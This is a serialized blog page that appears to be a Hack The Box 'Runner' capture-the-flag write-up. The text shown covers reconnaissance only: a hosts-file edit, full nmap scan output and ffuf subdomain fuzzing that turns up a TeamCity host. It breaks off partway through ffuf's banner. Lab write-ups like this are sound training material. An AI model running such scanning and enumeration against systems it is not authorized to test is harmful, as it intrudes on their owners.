[{"data":1,"prerenderedAt":4718},["ShallowReactive",2],{"post-hack-the-box-runner":3,"post-list":4454},{"id":4,"title":5,"alsoIn":6,"body":7,"category":4440,"date":4441,"description":4442,"draft":4443,"extension":4444,"image":4445,"links":6,"meta":4446,"navigation":70,"order":6,"path":4447,"readingTime":94,"seo":4448,"series":6,"stem":4449,"strength":1883,"tags":4450,"unlisted":4443,"updated":6,"__hash__":4453},"posts\u002Fposts\u002Fhack-the-box-runner.md","Hack The Box: Runner",null,{"type":8,"value":9,"toc":4438},"minimark",[10,14,148,151,1246,1249,1423,1426,1514,1517,1523,1526,1538,1541,2172,2175,2295,2298,2303,2306,2311,2314,2459,2462,2480,2483,3000,3008,3011,3014,3454,3457,3518,3521,3526,3529,3648,3651,4370,4373,4378,4381,4386,4389,4394,4397,4402,4405,4410,4413,4418,4421,4426,4429,4434],[11,12,13],"p",{},"First, as always, I edit the hosts file so that I don’t have to remember the IP of the room.",[15,16,17],"terminal",{},[18,19,24],"pre",{"className":20,"code":21,"language":22,"meta":23,"style":23},"language-bash shiki shiki-themes gruvbox-dark-medium","┌─[root@htb-t4h9wakocl]─[~]\n└──╼ #cat \u002Fetc\u002Fhosts\n127.0.0.1   localhost\n127.0.1.1   debian12-parrot\n\n10.129.212.181 runner.htb\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\n127.0.0.1 localhost\n127.0.1.1 htb-t4h9wakocl htb-t4h9wakocl.htb-cloud.com\n","bash","",[25,26,27,36,46,56,65,72,81,86,92,111,120,129,137],"code",{"__ignoreMap":23},[28,29,32],"span",{"class":30,"line":31},"line",1,[28,33,35],{"class":34},"s59W0","┌─[root@htb-t4h9wakocl]─[~]\n",[28,37,39,42],{"class":30,"line":38},2,[28,40,41],{"class":34},"└──╼",[28,43,45],{"class":44},"s-UKz"," #cat \u002Fetc\u002Fhosts\n",[28,47,49,52],{"class":30,"line":48},3,[28,50,51],{"class":34},"127.0.0.1",[28,53,55],{"class":54},"sTqo2","   localhost\n",[28,57,59,62],{"class":30,"line":58},4,[28,60,61],{"class":34},"127.0.1.1",[28,63,64],{"class":54},"   debian12-parrot\n",[28,66,68],{"class":30,"line":67},5,[28,69,71],{"emptyLinePlaceholder":70},true,"\n",[28,73,75,78],{"class":30,"line":74},6,[28,76,77],{"class":34},"10.129.212.181",[28,79,80],{"class":54}," runner.htb\n",[28,82,84],{"class":30,"line":83},7,[28,85,71],{"emptyLinePlaceholder":70},[28,87,89],{"class":30,"line":88},8,[28,90,91],{"class":44},"# The following lines are desirable for IPv6 capable hosts\n",[28,93,95,99,102,105,108],{"class":30,"line":94},9,[28,96,98],{"class":97},"sG605",":",[28,100,101],{"class":54},":1",[28,103,104],{"class":54},"     localhost",[28,106,107],{"class":54}," ip6-localhost",[28,109,110],{"class":54}," ip6-loopback\n",[28,112,114,117],{"class":30,"line":113},10,[28,115,116],{"class":34},"ff02::1",[28,118,119],{"class":54}," ip6-allnodes\n",[28,121,123,126],{"class":30,"line":122},11,[28,124,125],{"class":34},"ff02::2",[28,127,128],{"class":54}," ip6-allrouters\n",[28,130,132,134],{"class":30,"line":131},12,[28,133,51],{"class":34},[28,135,136],{"class":54}," localhost\n",[28,138,140,142,145],{"class":30,"line":139},13,[28,141,61],{"class":34},[28,143,144],{"class":54}," htb-t4h9wakocl",[28,146,147],{"class":54}," htb-t4h9wakocl.htb-cloud.com\n",[11,149,150],{},"I then perform an NMAP scan.",[15,152,153],{},[18,154,156],{"className":20,"code":155,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ nmap runner.htb -vv -sV -sC\nStarting Nmap 7.94SVN ( https:\u002F\u002Fnmap.org ) at 2024-07-19 15:35 CDT\nNSE: Loaded 156 scripts for scanning.\nNSE: Script Pre-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nInitiating Ping Scan at 15:35\nScanning runner.htb (10.129.212.181) [4 ports]\nCompleted Ping Scan at 15:35, 0.04s elapsed (1 total hosts)\nInitiating SYN Stealth Scan at 15:35\nScanning runner.htb (10.129.212.181) [1000 ports]\nDiscovered open port 22\u002Ftcp on 10.129.212.181\nDiscovered open port 80\u002Ftcp on 10.129.212.181\nDiscovered open port 8000\u002Ftcp on 10.129.212.181\nCompleted SYN Stealth Scan at 15:35, 0.18s elapsed (1000 total ports)\nInitiating Service scan at 15:35\nScanning 3 services on runner.htb (10.129.212.181)\nWarning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP\u002F1\\.1 \\d\\d\\d (?:[^\\r\\n]*\\r\\n(?!\\r\\n))*?.*\\r\\nServer: Virata-EmWeb\u002FR([\\d_]+)\\r\\nContent-Type: text\u002Fhtml; ?charset=UTF-8\\r\\nExpires: .*\u003Ctitle>HP (Color |)LaserJet ([\\w._ -]+)   '\nCompleted Service scan at 15:35, 6.07s elapsed (3 services on 1 host)\nNSE: Script scanning 10.129.212.181.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.49s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.04s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nNmap scan report for runner.htb (10.129.212.181)\nHost is up, received reset ttl 63 (0.010s latency).\nScanned at 2024-07-19 15:35:09 CDT for 7s\nNot shown: 997 closed tcp ports (reset)\nPORT     STATE SERVICE     REASON         VERSION\n22\u002Ftcp   open  ssh         syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=\n|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM\n80\u002Ftcp   open  http        syn-ack ttl 63 nginx 1.18.0 (Ubuntu)\n|_http-server-header: nginx\u002F1.18.0 (Ubuntu)\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-title: Runner - CI\u002FCD Specialists\n8000\u002Ftcp open  nagios-nsca syn-ack ttl 63 Nagios NSCA\n|_http-title: Site doesn't have a title (text\u002Fplain; charset=utf-8).\nService Info: OS: Linux; CPE: cpe:\u002Fo:linux:linux_kernel\n\nNSE: Script Post-scanning.\nNSE: Starting runlevel 1 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nNSE: Starting runlevel 2 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nNSE: Starting runlevel 3 (of 3) scan.\nInitiating NSE at 15:35\nCompleted NSE at 15:35, 0.00s elapsed\nRead data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\nService detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\nNmap done: 1 IP address (1 host up) scanned in 7.23 seconds\n           Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.052KB)\n",[25,157,158,163,171,191,212,222,244,258,276,293,303,317,334,344,359,374,398,429,446,464,485,501,517,546,561,578,623,656,669,686,697,713,730,741,756,773,784,799,816,849,871,894,912,960,973,987,998,1011,1022,1049,1062,1072,1092,1112,1136,1155,1161,1166,1172,1178,1184,1190,1196,1201,1206,1212,1217,1222,1228,1234,1240],{"__ignoreMap":23},[28,159,160],{"class":30,"line":31},[28,161,162],{"class":34},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n",[28,164,165,167],{"class":30,"line":38},[28,166,41],{"class":34},[28,168,170],{"class":169},"sM0OT"," [★]$ nmap runner.htb -vv -sV -sC\n",[28,172,173,176,179,182,185,188],{"class":30,"line":48},[28,174,175],{"class":34},"Starting",[28,177,178],{"class":54}," Nmap",[28,180,181],{"class":54}," 7.94SVN",[28,183,184],{"class":169}," ( ",[28,186,187],{"class":54},"https:\u002F\u002Fnmap.org",[28,189,190],{"class":169}," ) at 2024-07-19 15:35 CDT\n",[28,192,193,196,199,203,206,209],{"class":30,"line":58},[28,194,195],{"class":34},"NSE:",[28,197,198],{"class":54}," Loaded",[28,200,202],{"class":201},"ssIPD"," 156",[28,204,205],{"class":54}," scripts",[28,207,208],{"class":54}," for",[28,210,211],{"class":54}," scanning.\n",[28,213,214,216,219],{"class":30,"line":67},[28,215,195],{"class":34},[28,217,218],{"class":54}," Script",[28,220,221],{"class":54}," Pre-scanning.\n",[28,223,224,226,229,232,235,238,241],{"class":30,"line":74},[28,225,195],{"class":34},[28,227,228],{"class":54}," Starting",[28,230,231],{"class":54}," runlevel",[28,233,234],{"class":201}," 1",[28,236,237],{"class":169}," (of ",[28,239,240],{"class":201},"3",[28,242,243],{"class":169},") scan.\n",[28,245,246,249,252,255],{"class":30,"line":83},[28,247,248],{"class":34},"Initiating",[28,250,251],{"class":54}," NSE",[28,253,254],{"class":54}," at",[28,256,257],{"class":54}," 15:35\n",[28,259,260,263,265,267,270,273],{"class":30,"line":88},[28,261,262],{"class":34},"Completed",[28,264,251],{"class":54},[28,266,254],{"class":54},[28,268,269],{"class":54}," 15:35,",[28,271,272],{"class":54}," 0.00s",[28,274,275],{"class":54}," elapsed\n",[28,277,278,280,282,284,287,289,291],{"class":30,"line":94},[28,279,195],{"class":34},[28,281,228],{"class":54},[28,283,231],{"class":54},[28,285,286],{"class":201}," 2",[28,288,237],{"class":169},[28,290,240],{"class":201},[28,292,243],{"class":169},[28,294,295,297,299,301],{"class":30,"line":113},[28,296,248],{"class":34},[28,298,251],{"class":54},[28,300,254],{"class":54},[28,302,257],{"class":54},[28,304,305,307,309,311,313,315],{"class":30,"line":122},[28,306,262],{"class":34},[28,308,251],{"class":54},[28,310,254],{"class":54},[28,312,269],{"class":54},[28,314,272],{"class":54},[28,316,275],{"class":54},[28,318,319,321,323,325,328,330,332],{"class":30,"line":131},[28,320,195],{"class":34},[28,322,228],{"class":54},[28,324,231],{"class":54},[28,326,327],{"class":201}," 3",[28,329,237],{"class":169},[28,331,240],{"class":201},[28,333,243],{"class":169},[28,335,336,338,340,342],{"class":30,"line":139},[28,337,248],{"class":34},[28,339,251],{"class":54},[28,341,254],{"class":54},[28,343,257],{"class":54},[28,345,347,349,351,353,355,357],{"class":30,"line":346},14,[28,348,262],{"class":34},[28,350,251],{"class":54},[28,352,254],{"class":54},[28,354,269],{"class":54},[28,356,272],{"class":54},[28,358,275],{"class":54},[28,360,362,364,367,370,372],{"class":30,"line":361},15,[28,363,248],{"class":34},[28,365,366],{"class":54}," Ping",[28,368,369],{"class":54}," Scan",[28,371,254],{"class":54},[28,373,257],{"class":54},[28,375,377,380,383,386,389,392,395],{"class":30,"line":376},16,[28,378,379],{"class":34},"Scanning",[28,381,382],{"class":54}," runner.htb",[28,384,385],{"class":169}," (10.129.212.181) ",[28,387,388],{"class":97},"[",[28,390,391],{"class":201},"4",[28,393,394],{"class":169}," ports",[28,396,397],{"class":97},"]\n",[28,399,401,403,405,407,409,411,414,417,420,423,426],{"class":30,"line":400},17,[28,402,262],{"class":34},[28,404,366],{"class":54},[28,406,369],{"class":54},[28,408,254],{"class":54},[28,410,269],{"class":54},[28,412,413],{"class":54}," 0.04s",[28,415,416],{"class":54}," elapsed",[28,418,419],{"class":169}," (1 ",[28,421,422],{"class":54},"total",[28,424,425],{"class":54}," hosts",[28,427,428],{"class":169},")\n",[28,430,432,434,437,440,442,444],{"class":30,"line":431},18,[28,433,248],{"class":34},[28,435,436],{"class":54}," SYN",[28,438,439],{"class":54}," Stealth",[28,441,369],{"class":54},[28,443,254],{"class":54},[28,445,257],{"class":54},[28,447,449,451,453,455,457,460,462],{"class":30,"line":448},19,[28,450,379],{"class":34},[28,452,382],{"class":54},[28,454,385],{"class":169},[28,456,388],{"class":97},[28,458,459],{"class":201},"1000",[28,461,394],{"class":169},[28,463,397],{"class":97},[28,465,467,470,473,476,479,482],{"class":30,"line":466},20,[28,468,469],{"class":34},"Discovered",[28,471,472],{"class":54}," open",[28,474,475],{"class":54}," port",[28,477,478],{"class":54}," 22\u002Ftcp",[28,480,481],{"class":54}," on",[28,483,484],{"class":201}," 10.129.212.181\n",[28,486,488,490,492,494,497,499],{"class":30,"line":487},21,[28,489,469],{"class":34},[28,491,472],{"class":54},[28,493,475],{"class":54},[28,495,496],{"class":54}," 80\u002Ftcp",[28,498,481],{"class":54},[28,500,484],{"class":201},[28,502,504,506,508,510,513,515],{"class":30,"line":503},22,[28,505,469],{"class":34},[28,507,472],{"class":54},[28,509,475],{"class":54},[28,511,512],{"class":54}," 8000\u002Ftcp",[28,514,481],{"class":54},[28,516,484],{"class":201},[28,518,520,522,524,526,528,530,532,535,537,540,542,544],{"class":30,"line":519},23,[28,521,262],{"class":34},[28,523,436],{"class":54},[28,525,439],{"class":54},[28,527,369],{"class":54},[28,529,254],{"class":54},[28,531,269],{"class":54},[28,533,534],{"class":54}," 0.18s",[28,536,416],{"class":54},[28,538,539],{"class":169}," (1000 ",[28,541,422],{"class":54},[28,543,394],{"class":54},[28,545,428],{"class":169},[28,547,549,551,554,557,559],{"class":30,"line":548},24,[28,550,248],{"class":34},[28,552,553],{"class":54}," Service",[28,555,556],{"class":54}," scan",[28,558,254],{"class":54},[28,560,257],{"class":54},[28,562,564,566,568,571,573,575],{"class":30,"line":563},25,[28,565,379],{"class":34},[28,567,327],{"class":201},[28,569,570],{"class":54}," services",[28,572,481],{"class":54},[28,574,382],{"class":54},[28,576,577],{"class":169}," (10.129.212.181)\n",[28,579,581,584,587,590,593,596,598,601,604,607,610,613,617,620],{"class":30,"line":580},26,[28,582,583],{"class":34},"Warning:",[28,585,586],{"class":54}," Hit",[28,588,589],{"class":54}," PCRE_ERROR_MATCHLIMIT",[28,591,592],{"class":54}," when",[28,594,595],{"class":54}," probing",[28,597,208],{"class":54},[28,599,600],{"class":54}," service",[28,602,603],{"class":54}," http",[28,605,606],{"class":54}," with",[28,608,609],{"class":54}," the",[28,611,612],{"class":54}," regex",[28,614,616],{"class":615},"svnLg"," '",[28,618,619],{"class":54},"^HTTP\u002F1\\.1 \\d\\d\\d (?:[^\\r\\n]*\\r\\n(?!\\r\\n))*?.*\\r\\nServer: Virata-EmWeb\u002FR([\\d_]+)\\r\\nContent-Type: text\u002Fhtml; ?charset=UTF-8\\r\\nExpires: .*\u003Ctitle>HP (Color |)LaserJet ([\\w._ -]+)   ",[28,621,622],{"class":615},"'\n",[28,624,626,628,630,632,634,636,639,641,644,647,649,651,654],{"class":30,"line":625},27,[28,627,262],{"class":34},[28,629,553],{"class":54},[28,631,556],{"class":54},[28,633,254],{"class":54},[28,635,269],{"class":54},[28,637,638],{"class":54}," 6.07s",[28,640,416],{"class":54},[28,642,643],{"class":169}," (3 ",[28,645,646],{"class":54},"services",[28,648,481],{"class":54},[28,650,234],{"class":201},[28,652,653],{"class":54}," host",[28,655,428],{"class":169},[28,657,659,661,663,666],{"class":30,"line":658},28,[28,660,195],{"class":34},[28,662,218],{"class":54},[28,664,665],{"class":54}," scanning",[28,667,668],{"class":54}," 10.129.212.181.\n",[28,670,672,674,676,678,680,682,684],{"class":30,"line":671},29,[28,673,195],{"class":34},[28,675,228],{"class":54},[28,677,231],{"class":54},[28,679,234],{"class":201},[28,681,237],{"class":169},[28,683,240],{"class":201},[28,685,243],{"class":169},[28,687,689,691,693,695],{"class":30,"line":688},30,[28,690,248],{"class":34},[28,692,251],{"class":54},[28,694,254],{"class":54},[28,696,257],{"class":54},[28,698,700,702,704,706,708,711],{"class":30,"line":699},31,[28,701,262],{"class":34},[28,703,251],{"class":54},[28,705,254],{"class":54},[28,707,269],{"class":54},[28,709,710],{"class":54}," 0.49s",[28,712,275],{"class":54},[28,714,716,718,720,722,724,726,728],{"class":30,"line":715},32,[28,717,195],{"class":34},[28,719,228],{"class":54},[28,721,231],{"class":54},[28,723,286],{"class":201},[28,725,237],{"class":169},[28,727,240],{"class":201},[28,729,243],{"class":169},[28,731,733,735,737,739],{"class":30,"line":732},33,[28,734,248],{"class":34},[28,736,251],{"class":54},[28,738,254],{"class":54},[28,740,257],{"class":54},[28,742,744,746,748,750,752,754],{"class":30,"line":743},34,[28,745,262],{"class":34},[28,747,251],{"class":54},[28,749,254],{"class":54},[28,751,269],{"class":54},[28,753,413],{"class":54},[28,755,275],{"class":54},[28,757,759,761,763,765,767,769,771],{"class":30,"line":758},35,[28,760,195],{"class":34},[28,762,228],{"class":54},[28,764,231],{"class":54},[28,766,327],{"class":201},[28,768,237],{"class":169},[28,770,240],{"class":201},[28,772,243],{"class":169},[28,774,776,778,780,782],{"class":30,"line":775},36,[28,777,248],{"class":34},[28,779,251],{"class":54},[28,781,254],{"class":54},[28,783,257],{"class":54},[28,785,787,789,791,793,795,797],{"class":30,"line":786},37,[28,788,262],{"class":34},[28,790,251],{"class":54},[28,792,254],{"class":54},[28,794,269],{"class":54},[28,796,272],{"class":54},[28,798,275],{"class":54},[28,800,802,805,807,810,812,814],{"class":30,"line":801},38,[28,803,804],{"class":34},"Nmap",[28,806,556],{"class":54},[28,808,809],{"class":54}," report",[28,811,208],{"class":54},[28,813,382],{"class":54},[28,815,577],{"class":169},[28,817,819,822,825,828,831,834,837,840,843,846],{"class":30,"line":818},39,[28,820,821],{"class":34},"Host",[28,823,824],{"class":54}," is",[28,826,827],{"class":54}," up,",[28,829,830],{"class":54}," received",[28,832,833],{"class":54}," reset",[28,835,836],{"class":54}," ttl",[28,838,839],{"class":201}," 63",[28,841,842],{"class":169}," (0.010s ",[28,844,845],{"class":54},"latency",[28,847,848],{"class":169},").\n",[28,850,852,855,857,860,863,866,868],{"class":30,"line":851},40,[28,853,854],{"class":34},"Scanned",[28,856,254],{"class":54},[28,858,859],{"class":54}," 2024-07-19",[28,861,862],{"class":54}," 15:35:09",[28,864,865],{"class":54}," CDT",[28,867,208],{"class":54},[28,869,870],{"class":54}," 7s\n",[28,872,874,877,880,883,886,889,891],{"class":30,"line":873},41,[28,875,876],{"class":34},"Not",[28,878,879],{"class":54}," shown:",[28,881,882],{"class":201}," 997",[28,884,885],{"class":54}," closed",[28,887,888],{"class":54}," tcp",[28,890,394],{"class":54},[28,892,893],{"class":169}," (reset)\n",[28,895,897,900,903,906,909],{"class":30,"line":896},42,[28,898,899],{"class":34},"PORT",[28,901,902],{"class":54},"     STATE",[28,904,905],{"class":54}," SERVICE",[28,907,908],{"class":54},"     REASON",[28,910,911],{"class":54},"         VERSION\n",[28,913,915,918,921,924,927,929,931,934,937,940,943,946,949,952,955,958],{"class":30,"line":914},43,[28,916,917],{"class":34},"22\u002Ftcp",[28,919,920],{"class":54},"   open",[28,922,923],{"class":54},"  ssh",[28,925,926],{"class":54},"         syn-ack",[28,928,836],{"class":54},[28,930,839],{"class":201},[28,932,933],{"class":54}," OpenSSH",[28,935,936],{"class":54}," 8.9p1",[28,938,939],{"class":54}," Ubuntu",[28,941,942],{"class":54}," 3ubuntu0.6",[28,944,945],{"class":169}," (Ubuntu ",[28,947,948],{"class":54},"Linux",[28,950,951],{"class":615},";",[28,953,954],{"class":34}," protocol",[28,956,957],{"class":201}," 2.0",[28,959,428],{"class":169},[28,961,963,967,970],{"class":30,"line":962},44,[28,964,966],{"class":965},"sM2RB","|",[28,968,969],{"class":34}," ssh-hostkey:",[28,971,972],{"class":169}," \n",[28,974,976,978,981,984],{"class":30,"line":975},45,[28,977,966],{"class":965},[28,979,980],{"class":34},"   256",[28,982,983],{"class":54}," 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f",[28,985,986],{"class":169}," (ECDSA)\n",[28,988,990,992,995],{"class":30,"line":989},46,[28,991,966],{"class":965},[28,993,994],{"class":34}," ecdsa-sha2-nistp256",[28,996,997],{"class":54}," AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=\n",[28,999,1001,1003,1005,1008],{"class":30,"line":1000},47,[28,1002,966],{"class":965},[28,1004,980],{"class":34},[28,1006,1007],{"class":54}," 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94",[28,1009,1010],{"class":169}," (ED25519)\n",[28,1012,1014,1016,1019],{"class":30,"line":1013},48,[28,1015,966],{"class":965},[28,1017,1018],{"class":34},"_ssh-ed25519",[28,1020,1021],{"class":54}," AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM\n",[28,1023,1025,1028,1030,1033,1036,1038,1040,1043,1046],{"class":30,"line":1024},49,[28,1026,1027],{"class":34},"80\u002Ftcp",[28,1029,920],{"class":54},[28,1031,1032],{"class":54},"  http",[28,1034,1035],{"class":54},"        syn-ack",[28,1037,836],{"class":54},[28,1039,839],{"class":201},[28,1041,1042],{"class":54}," nginx",[28,1044,1045],{"class":201}," 1.18.0",[28,1047,1048],{"class":169}," (Ubuntu)\n",[28,1050,1052,1054,1057,1060],{"class":30,"line":1051},50,[28,1053,966],{"class":965},[28,1055,1056],{"class":34},"_http-server-header:",[28,1058,1059],{"class":54}," nginx\u002F1.18.0",[28,1061,1048],{"class":169},[28,1063,1065,1067,1070],{"class":30,"line":1064},51,[28,1066,966],{"class":965},[28,1068,1069],{"class":34}," http-methods:",[28,1071,972],{"class":169},[28,1073,1075,1077,1080,1083,1086,1089],{"class":30,"line":1074},52,[28,1076,966],{"class":965},[28,1078,1079],{"class":34},"_",[28,1081,1082],{"class":54},"  Supported",[28,1084,1085],{"class":54}," Methods:",[28,1087,1088],{"class":54}," GET",[28,1090,1091],{"class":54}," HEAD\n",[28,1093,1095,1097,1100,1103,1106,1109],{"class":30,"line":1094},53,[28,1096,966],{"class":965},[28,1098,1099],{"class":34},"_http-title:",[28,1101,1102],{"class":54}," Runner",[28,1104,1105],{"class":54}," -",[28,1107,1108],{"class":54}," CI\u002FCD",[28,1110,1111],{"class":54}," Specialists\n",[28,1113,1115,1118,1120,1123,1126,1128,1130,1133],{"class":30,"line":1114},54,[28,1116,1117],{"class":34},"8000\u002Ftcp",[28,1119,472],{"class":54},[28,1121,1122],{"class":54},"  nagios-nsca",[28,1124,1125],{"class":54}," syn-ack",[28,1127,836],{"class":54},[28,1129,839],{"class":201},[28,1131,1132],{"class":54}," Nagios",[28,1134,1135],{"class":54}," NSCA\n",[28,1137,1139,1141,1143,1146,1149,1152],{"class":30,"line":1138},55,[28,1140,966],{"class":965},[28,1142,1099],{"class":34},[28,1144,1145],{"class":54}," Site",[28,1147,1148],{"class":54}," doesn",[28,1150,1151],{"class":615},"'",[28,1153,1154],{"class":54},"t have a title (text\u002Fplain; charset=utf-8).\n",[28,1156,1158],{"class":30,"line":1157},56,[28,1159,1160],{"class":54},"Service Info: OS: Linux; CPE: cpe:\u002Fo:linux:linux_kernel\n",[28,1162,1164],{"class":30,"line":1163},57,[28,1165,71],{"emptyLinePlaceholder":70},[28,1167,1169],{"class":30,"line":1168},58,[28,1170,1171],{"class":54},"NSE: Script Post-scanning.\n",[28,1173,1175],{"class":30,"line":1174},59,[28,1176,1177],{"class":54},"NSE: Starting runlevel 1 (of 3) scan.\n",[28,1179,1181],{"class":30,"line":1180},60,[28,1182,1183],{"class":54},"Initiating NSE at 15:35\n",[28,1185,1187],{"class":30,"line":1186},61,[28,1188,1189],{"class":54},"Completed NSE at 15:35, 0.00s elapsed\n",[28,1191,1193],{"class":30,"line":1192},62,[28,1194,1195],{"class":54},"NSE: Starting runlevel 2 (of 3) scan.\n",[28,1197,1199],{"class":30,"line":1198},63,[28,1200,1183],{"class":54},[28,1202,1204],{"class":30,"line":1203},64,[28,1205,1189],{"class":54},[28,1207,1209],{"class":30,"line":1208},65,[28,1210,1211],{"class":54},"NSE: Starting runlevel 3 (of 3) scan.\n",[28,1213,1215],{"class":30,"line":1214},66,[28,1216,1183],{"class":54},[28,1218,1220],{"class":30,"line":1219},67,[28,1221,1189],{"class":54},[28,1223,1225],{"class":30,"line":1224},68,[28,1226,1227],{"class":54},"Read data files from: \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[28,1229,1231],{"class":30,"line":1230},69,[28,1232,1233],{"class":54},"Service detection performed. Please report any incorrect results at https:\u002F\u002Fnmap.org\u002Fsubmit\u002F .\n",[28,1235,1237],{"class":30,"line":1236},70,[28,1238,1239],{"class":54},"Nmap done: 1 IP address (1 host up) scanned in 7.23 seconds\n",[28,1241,1243],{"class":30,"line":1242},71,[28,1244,1245],{"class":54},"           Raw packets sent: 1004 (44.152KB) | Rcvd: 1001 (40.052KB)\n",[11,1247,1248],{},"With the help of FFuF I am now looking for further subdomains.",[15,1250,1251],{},[18,1252,1254],{"className":20,"code":1253,"language":22,"meta":23,"style":23},"┌─[eu-dedivip-1]─[10.10.14.76]─[nobrac@htb-t4h9wakocl]─[~]\n└──╼ [★]$ ffuf -c -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FDNS\u002Fn0kovo_subdomains.txt -u \"http:\u002F\u002Frunner.htb\" -H \"Host: FUZZ.runner.htb\" -fc 302\n\n        \u002F'___\\  \u002F'___\\           \u002F'___\\       \n       \u002F\\ \\__\u002F \u002F\\ \\__\u002F  __  __  \u002F\\ \\__\u002F       \n       \\ \\ ,__\\\\ \\ ,__\\\u002F\\ \\\u002F\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\u002F \\ \\ \\_\u002F\\ \\ \\_\\ \\ \\ \\ \\_\u002F      \n         \\ \\_\\   \\ \\_\\  \\ \\____\u002F  \\ \\_\\       \n          \\\u002F_\u002F    \\\u002F_\u002F   \\\u002F___\u002F    \\\u002F_\u002F       \n    \n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\u002F\u002Frunner.htb\n :: Wordlist         : FUZZ: \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FDNS\u002Fn0kovo_subdomains.txt\n :: Header           : Host: FUZZ.runner.htb\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n :: Filter           : Response status: 302\n________________________________________________\n\nteamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 13ms]\n:: Progress: [1078578\u002F3000000] :: Job [1\u002F1] :: 5555 req\u002Fsec :: Duration: [0:03:30] :: Errors: 0 ::\n",[25,1255,1256,1260,1288,1292,1311,1316,1321,1326,1331,1336,1341,1346,1351,1355,1360,1365,1370,1375,1380,1385,1390,1395,1400,1405,1409,1413,1418],{"__ignoreMap":23},[28,1257,1258],{"class":30,"line":31},[28,1259,162],{"class":34},[28,1261,1262,1264,1267,1270,1273,1275,1278,1280,1283,1285],{"class":30,"line":38},[28,1263,41],{"class":34},[28,1265,1266],{"class":169}," [★]$ ffuf -c -w \u002Fusr\u002Fshare\u002Fseclists\u002FDiscovery\u002FDNS\u002Fn0kovo_subdomains.txt -u ",[28,1268,1269],{"class":615},"\"",[28,1271,1272],{"class":54},"http:\u002F\u002Frunner.htb",[28,1274,1269],{"class":615},[28,1276,1277],{"class":169}," -H ",[28,1279,1269],{"class":615},[28,1281,1282],{"class":54},"Host: FUZZ.runner.htb",[28,1284,1269],{"class":615},[28,1286,1287],{"class":169}," -fc 302\n",[28,1289,1290],{"class":30,"line":48},[28,1291,71],{"emptyLinePlaceholder":70},[28,1293,1294,1297,1300,1303,1306,1308],{"class":30,"line":58},[28,1295,1296],{"class":34},"        \u002F",[28,1298,1299],{"class":34},"'___\\  \u002F'",[28,1301,1302],{"class":34},"___\\",[28,1304,1305],{"class":54},"           \u002F",[28,1307,1151],{"class":615},[28,1309,1310],{"class":54},"___\\       \n",[28,1312,1313],{"class":30,"line":67},[28,1314,1315],{"class":54},"       \u002F\\ \\__\u002F \u002F\\ \\__\u002F  __  __  \u002F\\ \\__\u002F       \n",[28,1317,1318],{"class":30,"line":74},[28,1319,1320],{"class":54},"       \\ \\ ,__\\\\ \\ ,__\\\u002F\\ \\\u002F\\ \\ \\ \\ ,__\\      \n",[28,1322,1323],{"class":30,"line":83},[28,1324,1325],{"class":54},"        \\ \\ \\_\u002F \\ \\ \\_\u002F\\ \\ \\_\\ \\ \\ \\ \\_\u002F      \n",[28,1327,1328],{"class":30,"line":88},[28,1329,1330],{"class":54},"         \\ \\_\\   \\ \\_\\  \\ \\____\u002F  \\ \\_\\       \n",[28,1332,1333],{"class":30,"line":94},[28,1334,1335],{"class":54},"          \\\u002F_\u002F    